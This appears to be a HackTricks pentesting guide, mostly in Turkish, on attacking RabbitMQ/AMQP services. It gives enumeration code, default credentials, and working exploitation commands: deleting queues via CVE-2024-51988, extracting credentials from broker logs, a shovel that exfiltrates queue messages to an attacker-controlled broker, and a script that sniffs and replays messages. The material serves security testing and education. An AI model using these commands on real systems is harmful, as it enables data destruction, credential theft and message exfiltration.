5671,5672 - Pentesting AMQP
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Kaynak: cloudamqp:
RabbitMQ bir mesaj kuyruğu yazılımıdır, message broker veya queue manager olarak da bilinir. Basitçe söylemek gerekirse; kuyrukların tanımlandığı ve uygulamaların bir veya daha fazla mesajı aktarmak için bağlandığı bir yazılımdır.
Bir mesaj herhangi bir tür bilgi içerebilir. Örneğin, başka bir uygulamada (hatta başka bir sunucuda) başlaması gereken bir süreç veya görev hakkında bilgi içerebilir ya da sadece basit bir metin mesajı olabilir. queue-manager software, alıcı uygulama bağlanıp kuyruktan bir mesaj alana kadar mesajları depolar. Alıcı uygulama sonra mesajı işler.
Tanım kaynağı .
Varsayılan port: 5672,5671
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
- Varsayılan kimlik bilgileri:
guest:guest. RabbitMQ bunlarıloopback_usersaracılığıyla localhost ile sınırlar, ancak birçok Docker/IoT image bu kontrolü devre dışı bırakır, bu yüzden engellendiğini varsaymadan önce her zaman uzak girişi test edin. - Kimlik doğrulama mekanizmaları: PLAIN ve AMQPLAIN varsayılan olarak etkinleştirilmiştir, ANONYMOUS
anonymous_login_user/anonymous_login_passile eşlenir ve EXTERNAL (x509) TLS etkinleştirildiğinde açığa çıkabilir. Broker’ın ilan ettiklerini listeleyin, böylece daha sonra password spraying mi yoksa certificate impersonation mı denemeniz gerektiğini bilirsiniz.
Keşif
Manuel
import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
Kimlik doğrulandıktan sonra, throughput sınırlarını ve aşırı büyük frame’lerle kaynakları tüketip tüketemeyeceğinizi anlamak için conn.server_properties, conn.channel_max ve conn.frame_max’i dump edin.
Otomatik
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP
| product: RabbitMQ
| version: 3.1.5
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
TLS/SASL kontrolleri
- Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
Bu sertifika zincirini, desteklenen TLS sürümlerini ve karşılıklı TLS’in gerekli olup olmadığını leak eder.
- List listeners without creds:
rabbitmq-diagnostics -q listeners
Host’a low-priv shell erişimi elde ettiğinizde kullanışlıdır.
- Spot ANONYMOUS logins: Eğer broker ANONYMOUS SASL mekanizmasına izin veriyorsa, boş username/password ile bağlanmayı deneyin; RabbitMQ sizi dahili olarak
anonymous_login_user’a eşleyecektir (varsayılanguest).
Brute Force
Exploitation Tips
Queue deletion without configure perms (CVE-2024-51988)
RabbitMQ ≤ 3.12.10 (ve yama uygulanmamış Tanzu build’leri) HTTP API üzerinden kuyruklar silindiğinde configure iznini kontrol etmez. Hedef vhost’a erişimi olan herhangi bir authenticated kullanıcı, yalnızca read veya write haklarına sahip olsa bile rastgele kuyrukları nuke edebilir.
# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
Bunu rabbitmqadmin list permissions ile birleştirerek düşük ayrıcalıklı kullanıcınızın kısmi erişime sahip olduğu vhost’ları bulun, ardından kuyrukları silerek denial of service oluşturun veya AMQP tarafında gözlemlenen compensating controls’u tetikleyin. Bu hatayla zincirlemek için daha fazla HTTP API uç noktası görmek üzere 15672 pentesting’e bakın.
RabbitMQ günlüklerinden kimlik bilgilerini toplayın (CVE-2025-50200)
4.0.8/4.1.0’a kadar, management API’sine HTTP basic auth ile var olmayan bir kaynağa istek göndermek broker’ın tüm Authorization header’ını (base64) loglamasına neden olur. Eğer sınırlı filesystem erişimi elde ederseniz (ör. Docker escape, plugin RCE), /var/log/rabbitmq/rabbit@*.log içinde Authorization: araması yapın ve diğer tenants veya service accounts için kimlik bilgilerini kurtarın.
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
Bunu sahte endpoint’lerle kasıtlı olarak tetikleyin ve loglara yeni gizli bilgileri kaydedin; ardından çözülmüş kimlik bilgilerini AMQP, STOMP, MQTT veya doğrudan OS üzerinde yeniden kullanarak pivot yapın.
rabbitmqadmin-ng’i silahlandırın
rabbitmqadmin v2 (aka rabbitmqadmin-ng) yönetim API’si ile konuşan bağımsız bir CLI’dir ve artık Linux/macOS/Windows için statik olarak bağlı derlemelerle dağıtılıyor. Bunu erişim sunucunuza (bounce box) koyun ve script yazın:
# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen
Araç blue/green farkındalığına sahip sağlık kontrollerini desteklediğinden, rabbitmqadmin health_check port_listener --port 5672 komutunu TLS dinleyicilerinin erişime açılıp açılmadığını uzaktan doğrulamak veya zamanlama denemeleri için servisi meşgul etmek amacıyla suistimal edebilirsiniz.
Message hijacking/sniffing
Eğer gevşek politikalar (.* bindings, topic exchanges veya x-queue-master-locator = min-masters) bulursanız, mesajları silmeden sessizce çekebilirsiniz:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)
Routing anahtarını audit.# veya payments.* ile değiştirerek hassas akışlara odaklanın, ardından basic_publish argümanlarını çevirip sahte mesajları yeniden yayınlayın — downstream microservices’e karşı replay attacks için kullanışlı.
Diğer RabbitMQ portları
In https://www.rabbitmq.com/networking.html you can find that rabbitmq uses several ports:
- 1883, 8883: (TLS olmadan ve TLS ile MQTT clients, eğer MQTT plugin etkinse. Learn more about how to pentest MQTT here.
- 4369: epmd, RabbitMQ düğümleri ve CLI araçları tarafından kullanılan bir peer discovery servisi. Learn more about how to pentest this service here.
- 5672, 5671: AMQP 0-9-1 ve 1.0 istemcileri tarafından TLS olmadan ve TLS ile kullanılır
- 15672: HTTP API clients, management UI ve rabbitmqadmin (yalnızca management plugin etkinse). Learn more about how to pentest this service here.
- 15674: STOMP-over-WebSockets clients (yalnızca Web STOMP plugin etkinse)
- 15675: MQTT-over-WebSockets clients (yalnızca Web MQTT plugin etkinse)
- 15692: Prometheus metrics (yalnızca Prometheus plugin etkinse)
- 25672: inter-node ve CLI araçları iletişimi için kullanılır (Erlang distribution server port) ve dinamik bir aralıktan tahsis edilir (varsayılan olarak tek bir porta sınırlandırılır, AMQP port + 20000 olarak hesaplanır). Bu portlarda dış bağlantılar gerçekten gerekli olmadıkça (ör. küme federation kullanıyorsa veya CLI araçları alt ağın dışındaki makinelerde kullanılıyorsa) bu portlar herkese açık olmamalıdır. Detaylar için networking guide bakın. Bu portların yalnızca 9’u internete açılmış.
- 35672-35682: düğümlerle iletişim için CLI araçları tarafından kullanılan (Erlang distribution client ports) ve dinamik bir aralıktan tahsis edilir (server distribution port + 10000 ile server distribution port + 10010 arasında hesaplanır). Detaylar için networking guide bakın.
- 61613, 61614: STOMP clients TLS olmadan ve TLS ile (yalnızca STOMP plugin etkinse). Bu porta açık cihaz sayısı 10’dan az ve çoğunlukla DHT düğümleri için UDP.
See also
Shodan
AMQP
References
- CloudAMQP – RabbitMQ for beginners
- RabbitMQ Networking Guide
- RabbitMQ Authentication, Authorisation & Access Control
- CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug
- GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header
- rabbitmqadmin v2 (rabbitmqadmin-ng)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

